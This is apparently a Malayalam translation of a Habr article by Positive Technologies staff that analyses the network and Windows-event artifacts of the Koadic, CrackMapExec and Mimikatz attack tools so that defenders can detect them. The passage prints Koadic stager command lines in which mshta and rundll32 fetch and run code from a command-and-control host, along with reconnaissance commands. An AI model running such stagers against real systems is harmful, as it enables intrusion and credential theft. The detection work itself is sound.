മിക്കപ്പോഴും, ഡബ്ല്യുഎംഐ ഓഡിറ്റിംഗ് (ട്രേസ് ഡബ്ല്യുഎംഐ-ആക്‌റ്റിവിറ്റി), ആരുടെ ഇവന്റുകളിൽ നിങ്ങൾക്ക് ഡബ്ല്യുക്യുഎൽ അന്വേഷണങ്ങളെക്കുറിച്ചുള്ള ഉപയോഗപ്രദമായ വിവരങ്ങൾ കണ്ടെത്താൻ കഴിയും, അത് പ്രവർത്തനരഹിതമാക്കിയേക്കാം. എന്നാൽ ഇത് പ്രവർത്തനക്ഷമമാക്കിയാൽ, enum_avproducts സ്ക്രിപ്റ്റ് പ്രവർത്തിപ്പിക്കുകയാണെങ്കിൽ, ID 11 ഉള്ള ഒരു ഇവന്റ് സംരക്ഷിക്കപ്പെടും. അതിൽ അഭ്യർത്ഥന അയച്ച ഉപയോക്താവിന്റെ പേരും rootSecurityCenter2 നെയിംസ്പേസിൽ പേരും അടങ്ങിയിരിക്കും.

ഓരോ CME മൊഡ്യൂളുകൾക്കും അതിന്റേതായ ആർട്ടിഫാക്‌റ്റുകൾ ഉണ്ടായിരുന്നു, അത് നിർദ്ദിഷ്ട WQL ചോദ്യങ്ങളോ അല്ലെങ്കിൽ ഒരു ടാസ്‌ക് ഷെഡ്യൂളറിൽ ഒരു പ്രത്യേക തരം ടാസ്‌ക്കിന്റെ സൃഷ്‌ടിയോ ആകട്ടെ, LDAP, SMB എന്നിവയിലെ അവ്യക്തതയും ബ്ലഡ്‌ഹൗണ്ട്-നിർദ്ദിഷ്ട പ്രവർത്തനവും.

കോഡിക്

വിൻഡോസിൽ നിർമ്മിച്ച ജാവാസ്ക്രിപ്റ്റിന്റെയും വിബിസ്ക്രിപ്റ്റ് ഇന്റർപ്രെറ്ററുകളുടെയും ഉപയോഗമാണ് കോഡിക്കിന്റെ ഒരു പ്രത്യേകത. ഈ അർത്ഥത്തിൽ, ഇത് ഭൂമിയുടെ പ്രവണതയെ പിന്തുടരുന്നു - അതായത്, ഇതിന് ബാഹ്യ ആശ്രിതത്വങ്ങളൊന്നുമില്ല കൂടാതെ സ്റ്റാൻഡേർഡ് വിൻഡോസ് ടൂളുകൾ ഉപയോഗിക്കുന്നു. ഇത് പൂർണ്ണ കമാൻഡ് & കൺട്രോളിനുള്ള (CnC) ഒരു ഉപകരണമാണ്, കാരണം അണുബാധയ്ക്ക് ശേഷം മെഷീനിൽ ഒരു "ഇംപ്ലാന്റ്" ഇൻസ്റ്റാൾ ചെയ്തു, അത് നിയന്ത്രിക്കാൻ അനുവദിക്കുന്നു. അത്തരമൊരു യന്ത്രത്തെ കോഡിക് പദങ്ങളിൽ "സോംബി" എന്ന് വിളിക്കുന്നു. ഇരയുടെ ഭാഗത്ത് പൂർണ്ണമായ പ്രവർത്തനത്തിന് മതിയായ പ്രത്യേകാവകാശങ്ങൾ ഇല്ലെങ്കിൽ, ഉപയോക്തൃ അക്കൗണ്ട് കൺട്രോൾ ബൈപാസ് (UAC ബൈപാസ്) ടെക്നിക്കുകൾ ഉപയോഗിച്ച് അവ ഉയർത്താനുള്ള കഴിവ് Koadic-ന് ഉണ്ട്.

അരി. 10. കോഡിക് ഷെൽ

ഇര കമാൻഡ് & കൺട്രോൾ സെർവറുമായി ആശയവിനിമയം ആരംഭിക്കണം. ഇത് ചെയ്യുന്നതിന്, അവൾ മുമ്പ് തയ്യാറാക്കിയ യുആർഐയുമായി ബന്ധപ്പെടുകയും സ്റ്റേജറുകളിലൊന്ന് ഉപയോഗിച്ച് പ്രധാന കോഡിക് ബോഡി സ്വീകരിക്കുകയും വേണം. ചിത്രത്തിൽ. mshta സ്റ്റേജറിനുള്ള ഒരു ഉദാഹരണം ചിത്രം 11 കാണിക്കുന്നു.

അരി. 11. CnC സെർവർ ഉപയോഗിച്ച് ഒരു സെഷൻ ആരംഭിക്കുന്നു

WS എന്ന പ്രതികരണ വേരിയബിളിനെ അടിസ്ഥാനമാക്കി, WScript.Shell വഴിയാണ് നിർവ്വഹണം നടക്കുന്നതെന്ന് വ്യക്തമാകും, കൂടാതെ STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE എന്നീ വേരിയബിളുകളിൽ നിലവിലെ സെഷന്റെ പാരാമീറ്ററുകളെക്കുറിച്ചുള്ള പ്രധാന വിവരങ്ങൾ അടങ്ങിയിരിക്കുന്നു. CnC സെർവറുമായുള്ള HTTP കണക്ഷനിലെ ആദ്യത്തെ അഭ്യർത്ഥന-പ്രതികരണ ജോഡിയാണിത്. തുടർന്നുള്ള അഭ്യർത്ഥനകൾ വിളിക്കപ്പെടുന്ന മൊഡ്യൂളുകളുടെ (ഇംപ്ലാന്റുകൾ) പ്രവർത്തനവുമായി നേരിട്ട് ബന്ധപ്പെട്ടിരിക്കുന്നു. എല്ലാ കോഡിക് മൊഡ്യൂളുകളും CnC ഉള്ള ഒരു സജീവ സെഷനിൽ മാത്രമേ പ്രവർത്തിക്കൂ.

മിമിക്കാറ്റ്സ്

CME Bloodhound-ൽ പ്രവർത്തിക്കുന്നത് പോലെ, Koadic Mimikatz-ൽ ഒരു പ്രത്യേക പ്രോഗ്രാമായി പ്രവർത്തിക്കുന്നു, അത് സമാരംഭിക്കുന്നതിന് ഒന്നിലധികം മാർഗങ്ങളുണ്ട്. Mimikatz ഇംപ്ലാന്റ് ഡൗൺലോഡ് ചെയ്യുന്നതിനുള്ള ഒരു അഭ്യർത്ഥന-പ്രതികരണ ജോഡി ചുവടെയുണ്ട്.

അരി. 12. മിമികാറ്റ്സ് കോഡിക്കിലേക്ക് മാറ്റുക

അഭ്യർത്ഥനയിലെ URI ഫോർമാറ്റ് എങ്ങനെ മാറിയെന്ന് നിങ്ങൾക്ക് കാണാൻ കഴിയും. അതിൽ ഇപ്പോൾ csrf വേരിയബിളിനുള്ള ഒരു മൂല്യം അടങ്ങിയിരിക്കുന്നു, അത് തിരഞ്ഞെടുത്ത മൊഡ്യൂളിന് ഉത്തരവാദിയാണ്. അവളുടെ പേര് ശ്രദ്ധിക്കരുത്; CSRF സാധാരണയായി വ്യത്യസ്തമായി മനസ്സിലാക്കുന്നുവെന്ന് നമുക്കെല്ലാവർക്കും അറിയാം. കോഡിക്കിന്റെ അതേ മെയിൻ ബോഡിയാണ് പ്രതികരണം, അതിൽ മിമികാറ്റ്സുമായി ബന്ധപ്പെട്ട കോഡ് ചേർത്തു. ഇത് വളരെ വലുതാണ്, അതിനാൽ നമുക്ക് പ്രധാന പോയിന്റുകൾ നോക്കാം. Base64-ൽ എൻകോഡ് ചെയ്ത Mimikatz ലൈബ്രറിയും അത് കുത്തിവയ്ക്കുന്ന ഒരു സീരിയലൈസ്ഡ് .NET ക്ലാസ്സും Mimikatz സമാരംഭിക്കുന്നതിനുള്ള വാദങ്ങളും ഇവിടെയുണ്ട്. നിർവ്വഹണ ഫലം വ്യക്തമായ വാചകത്തിൽ നെറ്റ്‌വർക്കിലൂടെ കൈമാറ്റം ചെയ്യപ്പെടുന്നു.

അരി. 13. റിമോട്ട് മെഷീനിൽ Mimikatz പ്രവർത്തിപ്പിക്കുന്നതിന്റെ ഫലം

Exec_cmd

വിദൂരമായി കമാൻഡുകൾ എക്സിക്യൂട്ട് ചെയ്യാൻ കഴിയുന്ന മൊഡ്യൂളുകളും കോഡിക്കിനുണ്ട്. URI ജനറേഷൻ രീതിയും പരിചിതമായ sid, csrf വേരിയബിളുകളും ഇവിടെ കാണാം. exec_cmd മൊഡ്യൂളിന്റെ കാര്യത്തിൽ, ഷെൽ കമാൻഡുകൾ നടപ്പിലാക്കാൻ കഴിവുള്ള ബോഡിയിലേക്ക് കോഡ് ചേർക്കുന്നു. CnC സെർവറിന്റെ HTTP പ്രതികരണത്തിൽ അടങ്ങിയിരിക്കുന്ന അത്തരം കോഡ് ചുവടെ കാണിച്ചിരിക്കുന്നു.

അരി. 14. ഇംപ്ലാന്റ് കോഡ് exec_cmd

കോഡ് നിർവ്വഹണത്തിന് പരിചിതമായ WS ആട്രിബ്യൂട്ട് ഉള്ള GAWTUUGCFI വേരിയബിൾ ആവശ്യമാണ്. അതിന്റെ സഹായത്തോടെ, ഇംപ്ലാന്റ് ഷെല്ലിനെ വിളിക്കുന്നു, കോഡിന്റെ രണ്ട് ശാഖകൾ പ്രോസസ്സ് ചെയ്യുന്നു - shell.exec ഔട്ട്പുട്ട് ഡാറ്റ സ്ട്രീമിന്റെ റിട്ടേണിനൊപ്പം ഷെൽ.റൺ തിരികെ നൽകാതെ.

കോഡിക് ഒരു സാധാരണ ഉപകരണമല്ല, എന്നാൽ അതിന് അതിന്റേതായ പുരാവസ്തുക്കൾ ഉണ്ട്, അതിലൂടെ നിയമാനുസൃതമായ ട്രാഫിക്കിൽ ഇത് കണ്ടെത്താനാകും:

• HTTP അഭ്യർത്ഥനകളുടെ പ്രത്യേക രൂപീകരണം,
• winHttpRequests API ഉപയോഗിച്ച്,
• ActiveXObject വഴി ഒരു WScript.Shell ഒബ്ജക്റ്റ് സൃഷ്ടിക്കുന്നു,
• വലിയ എക്സിക്യൂട്ടബിൾ ബോഡി.

പ്രാരംഭ കണക്ഷൻ ആരംഭിക്കുന്നത് സ്റ്റേജറാണ്, അതിനാൽ വിൻഡോസ് ഇവന്റുകളിലൂടെ അതിന്റെ പ്രവർത്തനം കണ്ടെത്തുന്നത് സാധ്യമാണ്. mshta-യ്‌ക്ക്, ഇത് ഇവന്റ് 4688 ആണ്, ഇത് ആരംഭ ആട്രിബ്യൂട്ട് ഉപയോഗിച്ച് ഒരു പ്രക്രിയയുടെ സൃഷ്ടിയെ സൂചിപ്പിക്കുന്നു:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

കോഡിക് പ്രവർത്തിക്കുമ്പോൾ, നിങ്ങൾക്ക് മറ്റ് 4688 ഇവന്റുകൾ അത് തികച്ചും സ്വഭാവ സവിശേഷതകളുള്ള ആട്രിബ്യൂട്ടുകൾ കാണാൻ കഴിയും:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

കണ്ടെത്തലുകൾ

ഭൂമിയിലെ പ്രവണത കുറ്റവാളികൾക്കിടയിൽ പ്രചാരം നേടുന്നു. അവർ അവരുടെ ആവശ്യങ്ങൾക്കായി വിൻഡോസിൽ നിർമ്മിച്ച ഉപകരണങ്ങളും മെക്കാനിസങ്ങളും ഉപയോഗിക്കുന്നു. ഈ തത്വം പിന്തുടരുന്ന ജനപ്രിയ ടൂളുകൾ Koadic, CrackMapExec, Impacket എന്നിവ APT റിപ്പോർട്ടുകളിൽ കൂടുതലായി പ്രത്യക്ഷപ്പെടുന്നത് ഞങ്ങൾ കാണുന്നു. ഈ ഉപകരണങ്ങൾക്കായി GitHub-ലെ ഫോർക്കുകളുടെ എണ്ണവും വർദ്ധിച്ചുകൊണ്ടിരിക്കുന്നു, കൂടാതെ പുതിയവ പ്രത്യക്ഷപ്പെടുന്നു (ഇപ്പോൾ ഇതിനകം ആയിരത്തോളം ഉണ്ട്). ഈ പ്രവണത അതിന്റെ ലാളിത്യം കാരണം ജനപ്രീതി നേടുന്നു: ആക്രമണകാരികൾക്ക് മൂന്നാം കക്ഷി ഉപകരണങ്ങൾ ആവശ്യമില്ല; അവർ ഇതിനകം ഇരകളുടെ മെഷീനുകളിൽ ഉണ്ട്, സുരക്ഷാ നടപടികൾ മറികടക്കാൻ അവരെ സഹായിക്കുന്നു. നെറ്റ്‌വർക്ക് ആശയവിനിമയം പഠിക്കുന്നതിൽ ഞങ്ങൾ ശ്രദ്ധ കേന്ദ്രീകരിക്കുന്നു: മുകളിൽ വിവരിച്ച ഓരോ ഉപകരണവും നെറ്റ്‌വർക്ക് ട്രാഫിക്കിൽ അതിന്റേതായ അടയാളങ്ങൾ അവശേഷിപ്പിക്കുന്നു; അവരെക്കുറിച്ചുള്ള വിശദമായ പഠനം ഞങ്ങളുടെ ഉൽപ്പന്നം പഠിപ്പിക്കാൻ ഞങ്ങളെ അനുവദിച്ചു പിടി നെറ്റ്‌വർക്ക് അറ്റാക്ക് ഡിസ്‌കവറി അവരെ കണ്ടെത്തുക, ആത്യന്തികമായി അവർ ഉൾപ്പെടുന്ന സൈബർ സംഭവങ്ങളുടെ മുഴുവൻ ശൃംഖലയും അന്വേഷിക്കാൻ ഇത് സഹായിക്കുന്നു.

രചയിതാക്കൾ:

• ആന്റൺ ട്യൂറിൻ, വിദഗ്ധ സേവന വിഭാഗം മേധാവി, PT വിദഗ്ദ്ധ സുരക്ഷാ കേന്ദ്രം, പോസിറ്റീവ് ടെക്നോളജീസ്
• Egor Podmokov, വിദഗ്ദ്ധൻ, PT വിദഗ്ദ്ധ സുരക്ഷാ കേന്ദ്രം, പോസിറ്റീവ് ടെക്നോളജീസ്

അവലംബം: www.habr.com